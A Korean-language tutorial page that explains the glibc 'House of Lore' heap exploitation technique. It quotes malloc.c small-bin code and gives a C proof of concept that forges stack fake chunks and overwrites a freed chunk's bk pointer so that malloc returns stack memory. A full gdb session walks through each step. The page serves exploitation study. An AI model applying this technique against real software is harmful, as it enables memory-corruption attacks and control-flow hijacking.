Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.



List

House of Lore

  • House of Lore는 malloc()이 small bin에 해당하는 chunk의 재할당과 small bin에 배치하는 과정을 이용한 공격입니다.
  • malloc()은 small bin에 등록된 chunk를 사용하기 위해 메모리 할당을 요청한 크기가 small bin범위에 포함되는지 확인합니다.

    • 요청된 크기가 small bin 범위에 포함된다면, 요청된 크기에 해당하는 index를 찾습니다.

    • 그리고 bin[index]가 가지고 있는 값과 bin[index]→bk에 저장된 값을 비교합니다.

    • bin[index]→bk에 저장된 값을 victim에 저장합니다.

    • 그리고 이 값이 0 인지 확인합니다.

  • victim에 저장된 값이 0 아니라면 victim→bk 에 저장된 값을 bck에 저장합니다.

    • 그리고 bck->fd의 "victim"의 값이 다른지 확인합니다.

    • 두 값이 같지 않다면 malloc()은 에러 메시지("malloc(): smallbin double linked list corrupted")를 출력되고 프로세스를 종료합니다.

    • 두 값이 같다면 victim->size에 PREV_INUSE를 설정합니다.

    • 그리고 bck가 가지고 있는 값을 bin→bk에 저장되고, bin이 가지고 있는 값을 bck→fd에 저장합니다.

  • 해당 arena가 main arena인지 확인 합니다.

    • main arena가 아닐 경우 victim→size에 NON_MAIN_ARENA(0x4) flag를 설정합니다.

    • 그리고 할당자는 chunk2mem()을 호출하여 반환할 주소(victim + 2*SIZE_SZ)를 *p에 저장하고, p를 반환합니다.

malloc.c
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          if (victim == 0) /* initialization check */
            malloc_consolidate (av);
          else
            {
              bck = victim->bk;
	if (__glibc_unlikely (bck->fd != victim))
                {
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

              if (av != &main_arena)
		set_non_main_arena (victim);
              check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
    }
  • 할당자는 그 청크의 크기가 small bin범위에 포함되는지 확인합니다.
    • 그 청크가 small bin범위에 포함된다면, 해당 청크의 인덱스 찾습니다.
    • 그리고 bin[victim_index]가 가지고 있는 값을 bck에 저장합니다.
    • bck->fd가 가지고 있는 값을 fwd에 저장합니다.
malloc.c
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
  • double linked list를 구현하기 위해 해당 chunk의 bk에 bck가 가지고있는 값을 저장되고,  fd에는 fwd가 가지고 있는 값을 저장합니다.

    • 해당 chunk의 포인터를 fwd→bk, bck→fd에 저장합니다.
malloc.c
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
  • House of Lore는 Stack에 Fake chunk를 작성할 수 있고, Free chunk의 bk의 값을 덮어쓸수 있을 경우 구현이 가능합니다.

    • 공격자는 Fake free chunk를 Stack에 작성하고, Small bin에 해당하는 메모리를 할당합니다.

    • 해당 메모리를 해제하여 이 메모리를 Free chunk로 만듭니다.

    • 새로운 메모리를 할당을 요청하면, Free chunk가 Bins[]에 배치되됩니다.

    • Fake chunk의 포인터를 Free chunk의 bk에 덮어씁니다.

    • Small bin에 배치된 chunk의 할당을 malloc()에 요청하면, Fake chunk의 시작 주소가 Bins[]에 배치 됩니다.

    • 그리고 다시 한번 같은 크기의 메모리 할당을 malloc()에 요청하면 Fake chunk의 영역에 해당하는 포인터를 반환합니다.

    • 반환된 포인터는 Stack 메모리 입니다.

  • House of Lore에서 중요한 것은 Fake chunk의 구조입니다.

    • 이 chunk는 Free chunk의 구조를 가져야 하며, 2개의 fake chunk가 필요합니다.

    • 첫번째 Fake chunk의 포인터를 free chunk(heap에 위치한)의 bk에 저장합니다.

    • 그리고 bins[idx]의 포인터를 첫번째 Fake chunk의 fd에 저장 합니다.

    • 첫번째 free chunk의 bk에 2번째 Fake chunk의 포인터를 저장합니다.

    • 그리고 2번째 fake chunk의 포인터를 첫번째 free chunk의 "bk"에 저장합니다.

  • 이러한 구조는 small bin에 배치된 chunk의 double-linked list가 손상되었는지 확인("bck->fd != victim")을 우회합니다.

    • 예를 들어 다음과 같은 구조에서 victim의 값이 0x7fffffffe230이고 bck→fd의 값이 0x7fffffffe230이기 때문에 검증 조건을 통과하게됩니다.

Fake chunks structure

  • 다음은 House of Lore의 흐름입니다.
    • Fake chunk를 Stack에 생성되고 free chunk를 생성한 후에 해당 chunk를 small bin에 배치합니다.
    • 그리고 fake chunk의 포인터를 free chunk의 "bk"에 저장합니다.
    • 그리고 해당 chunk를 재할당 받기 위해 메모리의 할당을 malloc()에 요청하면 할당자는 fake chunk를 small bin에 배치합니다.
    • 공격자가 다시 한번 동일한 크기 메모리 할당을 요청하면 할당자는 fake chunk의 메모리을 반환합니다.
House of Lore flow

Example

  • 이 코드는 앞에서 언급한 예와 동일한 코드입니다.
    • 크기가 128 바이트, 256 바이트 인 메모리의 할당을 요청합니다.
    • 크기가 128byte인 메모리의 해제를 요청한 후, 메모리 할당을 요청합니다.
    • fake chunk를 stack에 작성하고 fake chunk의 포인터를 free chunk의 bk에 저장합니다.
    • 그리고 크기가 128byte인 메모리 2개의 할당을 요청합니다.
house_of_lore.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
void main(){
    unsigned long fake_chunk[56];
    fprintf(stderr,"fake_chunk : %p\n", fake_chunk);
 
    unsigned long *buf1 = malloc(128);
    unsigned long *buf2 = malloc(256);
 
    fprintf(stderr,"buf1 : %p\n", buf1);
    fprintf(stderr,"buf2 : %p\n", buf2);
    free(buf1);
 
    void *buf3 = malloc(1200);
    fprintf(stderr,"buf3 : %p\n", buf3);

    fake_chunk[2] = (unsigned long)buf1 - 0x10;
    fake_chunk[3] = (unsigned long)&fake_chunk[4];
    fake_chunk[6] = (unsigned long)fake_chunk;

    buf1[1] = (unsigned long)fake_chunk;
 
    void *buf4 = malloc(128);
    char *buf5 = malloc(128);

    fprintf(stderr,"buf4 : %p\n", buf4);
    fprintf(stderr,"buf5 : %p\n", buf5);
    fprintf(stderr,"buf5 : ");

    read(STDIN_FILENO,buf5, 128);
}
  • 해제된 chunk가 small bin에 배치되는 과정을 0x40079c에서 확인합니다.
    • Fake chunk의 구조를 0x400816에서 확인합니다.
    • 해당 chunk의 포인터가 small bin에 배치된 후 재할당되는 포인터를 0x40081e, 0x40082f에서 확인합니다.
    • 반환받은 메모리를 사용할 수 있는지 0x4008ad에서 확인합니다.
Breakpoints
lazenca0x0@ubuntu:~$ gcc -o house_of_lore house_of_lore.c 
lazenca0x0@ubuntu:~$ gdb -q ./house_of_lore
Reading symbols from ./house_of_lore...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006f6 <+0>:	push   rbp
   0x00000000004006f7 <+1>:	mov    rbp,rsp
   0x00000000004006fa <+4>:	sub    rsp,0x200
   0x0000000000400701 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040070a <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070e <+24>:	xor    eax,eax
   0x0000000000400710 <+26>:	mov    rax,QWORD PTR [rip+0x200949]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400717 <+33>:	lea    rdx,[rbp-0x1d0]
   0x000000000040071e <+40>:	mov    esi,0x400954
   0x0000000000400723 <+45>:	mov    rdi,rax
   0x0000000000400726 <+48>:	mov    eax,0x0
   0x000000000040072b <+53>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400730 <+58>:	mov    edi,0x80
   0x0000000000400735 <+63>:	call   0x4005d0 <malloc@plt>
   0x000000000040073a <+68>:	mov    QWORD PTR [rbp-0x1f8],rax
   0x0000000000400741 <+75>:	mov    edi,0x100
   0x0000000000400746 <+80>:	call   0x4005d0 <malloc@plt>
   0x000000000040074b <+85>:	mov    QWORD PTR [rbp-0x1f0],rax
   0x0000000000400752 <+92>:	mov    rax,QWORD PTR [rip+0x200907]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400759 <+99>:	mov    rdx,QWORD PTR [rbp-0x1f8]
   0x0000000000400760 <+106>:	mov    esi,0x400965
   0x0000000000400765 <+111>:	mov    rdi,rax
   0x0000000000400768 <+114>:	mov    eax,0x0
   0x000000000040076d <+119>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400772 <+124>:	mov    rax,QWORD PTR [rip+0x2008e7]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400779 <+131>:	mov    rdx,QWORD PTR [rbp-0x1f0]
   0x0000000000400780 <+138>:	mov    esi,0x400970
   0x0000000000400785 <+143>:	mov    rdi,rax
   0x0000000000400788 <+146>:	mov    eax,0x0
   0x000000000040078d <+151>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400792 <+156>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x0000000000400799 <+163>:	mov    rdi,rax
   0x000000000040079c <+166>:	call   0x400580 <free@plt>
   0x00000000004007a1 <+171>:	mov    edi,0x4b0
   0x00000000004007a6 <+176>:	call   0x4005d0 <malloc@plt>
   0x00000000004007ab <+181>:	mov    QWORD PTR [rbp-0x1e8],rax
   0x00000000004007b2 <+188>:	mov    rax,QWORD PTR [rip+0x2008a7]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004007b9 <+195>:	mov    rdx,QWORD PTR [rbp-0x1e8]
   0x00000000004007c0 <+202>:	mov    esi,0x40097b
   0x00000000004007c5 <+207>:	mov    rdi,rax
   0x00000000004007c8 <+210>:	mov    eax,0x0
   0x00000000004007cd <+215>:	call   0x4005c0 <fprintf@plt>
   0x00000000004007d2 <+220>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x00000000004007d9 <+227>:	sub    rax,0x10
   0x00000000004007dd <+231>:	mov    QWORD PTR [rbp-0x1c0],rax
   0x00000000004007e4 <+238>:	lea    rax,[rbp-0x1d0]
   0x00000000004007eb <+245>:	add    rax,0x20
   0x00000000004007ef <+249>:	mov    QWORD PTR [rbp-0x1b8],rax
   0x00000000004007f6 <+256>:	lea    rax,[rbp-0x1d0]
   0x00000000004007fd <+263>:	mov    QWORD PTR [rbp-0x1a0],rax
   0x0000000000400804 <+270>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x000000000040080b <+277>:	lea    rdx,[rax+0x8]
   0x000000000040080f <+281>:	lea    rax,[rbp-0x1d0]
   0x0000000000400816 <+288>:	mov    QWORD PTR [rdx],rax
   0x0000000000400819 <+291>:	mov    edi,0x80
   0x000000000040081e <+296>:	call   0x4005d0 <malloc@plt>
   0x0000000000400823 <+301>:	mov    QWORD PTR [rbp-0x1e0],rax
   0x000000000040082a <+308>:	mov    edi,0x80
   0x000000000040082f <+313>:	call   0x4005d0 <malloc@plt>
   0x0000000000400834 <+318>:	mov    QWORD PTR [rbp-0x1d8],rax
   0x000000000040083b <+325>:	mov    rax,QWORD PTR [rip+0x20081e]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400842 <+332>:	mov    rdx,QWORD PTR [rbp-0x1e0]
   0x0000000000400849 <+339>:	mov    esi,0x400986
   0x000000000040084e <+344>:	mov    rdi,rax
   0x0000000000400851 <+347>:	mov    eax,0x0
   0x0000000000400856 <+352>:	call   0x4005c0 <fprintf@plt>
   0x000000000040085b <+357>:	mov    rax,QWORD PTR [rip+0x2007fe]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400862 <+364>:	mov    rdx,QWORD PTR [rbp-0x1d8]
   0x0000000000400869 <+371>:	mov    esi,0x400991
   0x000000000040086e <+376>:	mov    rdi,rax
   0x0000000000400871 <+379>:	mov    eax,0x0
   0x0000000000400876 <+384>:	call   0x4005c0 <fprintf@plt>
   0x000000000040087b <+389>:	mov    rax,QWORD PTR [rip+0x2007de]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400882 <+396>:	mov    rcx,rax
   0x0000000000400885 <+399>:	mov    edx,0x7
   0x000000000040088a <+404>:	mov    esi,0x1
   0x000000000040088f <+409>:	mov    edi,0x40099c
   0x0000000000400894 <+414>:	call   0x4005e0 <fwrite@plt>
   0x0000000000400899 <+419>:	mov    rax,QWORD PTR [rbp-0x1d8]
   0x00000000004008a0 <+426>:	mov    edx,0x80
   0x00000000004008a5 <+431>:	mov    rsi,rax
   0x00000000004008a8 <+434>:	mov    edi,0x0
   0x00000000004008ad <+439>:	call   0x4005a0 <read@plt>
   0x00000000004008b2 <+444>:	nop
   0x00000000004008b3 <+445>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008b7 <+449>:	xor    rax,QWORD PTR fs:0x28
   0x00000000004008c0 <+458>:	je     0x4008c7 <main+465>
   0x00000000004008c2 <+460>:	call   0x400590 <__stack_chk_fail@plt>
   0x00000000004008c7 <+465>:	leave  
   0x00000000004008c8 <+466>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000040079c
Breakpoint 1 at 0x40079c
gdb-peda$ b *0x0000000000400816
Breakpoint 2 at 0x400816
gdb-peda$ b *0x000000000040081e
Breakpoint 3 at 0x40081e
gdb-peda$ b *0x000000000040082f
Breakpoint 4 at 0x40082f
gdb-peda$ b *0x00000000004008ad
Breakpoint 5 at 0x4008ad
gdb-peda$
  • 프로그램은 2개의 메모리를 할당받았습니다.

    • 첫번째 메모리의 포인터는 0x602010이고 크기는 128byte입니다.

    • 해당 메모리를 해제하면 free chunk가 됩니다.

    • 그리고 해당 chunk는 unsorted bin에 배치됩니다.

    • 메모리가 할당되면 free chunk(0x602000)는 bins[16], bins[17]에 배치됩니다.

Place the free chunks in a small bin.
gdb-peda$ r
Starting program: /home/lazenca0x0/house_of_lore 
fake_chunk : 0x7fffffffe2a0
buf1 : 0x602010
buf2 : 0x6020a0

Breakpoint 1, 0x000000000040079c in main ()
gdb-peda$ x/i $rip
=> 0x40079c <main+166>:	call   0x400580 <free@plt>
gdb-peda$ i r rdi
rdi            0x602010	0x602010
gdb-peda$ p main_arena.bins[0]
$1 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ ni

0x00000000004007a1 in main ()
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x602000
gdb-peda$ ni

0x00000000004007a6 in main ()
gdb-peda$ x/i $rip
=> 0x4007a6 <main+176>:	call   0x4005d0 <malloc@plt>
gdb-peda$ ni

0x00000000004007ab in main ()
gdb-peda$ p main_arena.bins[0]
$7 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[16]
$8 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$9 = (mchunkptr) 0x602000
gdb-peda$
  • 프로그램은 Fake chunk를 0x7fffffffe2a0에 작성합니다.
    • 첫번째 Fake chunk의 포인터는 0x7fffffffe2a0이고, 해당 chunk의 fd는 0x602000, bk는 0x7fffffffe2c0입니다.
    • 두번째 Fake chunk의 포인터는 0x7fffffffe2c0이고, 해당 chunk의 fd는 0x00007fffffffe2a0입니다.
    • victim의 값이 0x7fffffffe2a0이고 bck→fd의 값이 0x7fffffffe2a0이기 때문에 검증 조건을 통과하게됩니다.
Place the free chunks in a small bin.
gdb-peda$ c
Continuing.
buf3 : 0x6021b0

Breakpoint 2, 0x0000000000400816 in main ()
gdb-peda$ x/3i $rip
=> 0x400816 <main+288>:	mov    QWORD PTR [rdx],rax
   0x400819 <main+291>:	mov    edi,0x80
   0x40081e <main+296>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r rax
rax            0x7fffffffe2a0	0x7fffffffe2a0
gdb-peda$ x/8gx 0x7fffffffe2a0
0x7fffffffe2a0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2b0:	0x0000000000602000	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2d0:	0x00007fffffffe2a0	0x0000000000000000
gdb-peda$ x/4gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1bf8	0x00007ffff7dd1bf8

  • fake chunk를 작성한 후에 해당 chunk의 포인터를 small bin에 등록하기 위해 메모리 할당을 요청합니다.
    • malloc()으로 부터 메모리를 할당 받으면, main_arena.bins[17]에 Fake chunk가 배치됩니다.
Place fake chunks in a small bin.
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040081e in main ()
gdb-peda$ x/i $rip
=> 0x40081e <main+296>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r rdi
rdi            0x80	0x80
gdb-peda$ p main_arena.bins[16]
$11 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$12 = (mchunkptr) 0x602000
gdb-peda$ ni

gdb-peda$ p main_arena.bins[16]
$14 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$15 = (mchunkptr) 0x7fffffffe2a0

  • 프로그램은 main_arena.bins[17]에 등록된 chunk를 재할당 받기위해 크기가 128byte인 메모리의 할당을 요청합니다.
    • 할당자는 small bin에 사용가능한 chunk가 있다고 판단하고, main_arena.bins[17]에 등록된 chunk를 재할당 합니다.
    • 재할당 된 chunk의 포인터(0x7fffffffe2b0)는 Fake chunk의 영역입니다.
Reallocate fake chunks
gdb-peda$ c
Continuing.

Breakpoint 4, 0x000000000040082f in main ()
gdb-peda$ x/i $rip
=> 0x40082f <main+313>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r rdi
rdi            0x80	0x80
gdb-peda$ ni

0x0000000000400834 in main ()
gdb-peda$ p main_arena.bins[16]
$17 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$18 = (mchunkptr) 0x7fffffffe2c0
gdb-peda$ i r rax
rax            0x7fffffffe2b0	0x7fffffffe2b0
gdb-peda$ x/6gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x00007ffff7dd1bf8	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2d0:	0x00007ffff7dd1bf8	0x0000000000000000
gdb-peda$
  • 공격자는 반환된 fake chunk의 포인터에 데이터를 저장할 수 있습니다.
    • 이는 상황에 따라 프로그램의 흐름도 변경할 수 있다는 것입니다.
You can access the data with a pointer to a fake chunk returned from malloc ().
gdb-peda$ c
Continuing.
buf4 : 0x602010
buf5 : 0x7fffffffe2b0
buf5 : 

Breakpoint 5, 0x00000000004008ad in main ()
gdb-peda$ x/i $rip
=> 0x4008ad <main+439>:	call   0x4005a0 <read@plt>
gdb-peda$ i r rsi
rsi            0x7fffffffe2b0	0x7fffffffe2b0
gdb-peda$ x/4gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x00007ffff7dd1bf8	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
gdb-peda$ ni
AAAAAAAAAAAAAAAA

0x00000000004008b2 in main ()
gdb-peda$ x/4gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2c0:	0x000000000000000a	0x0000000000000000
gdb-peda$ 

Related information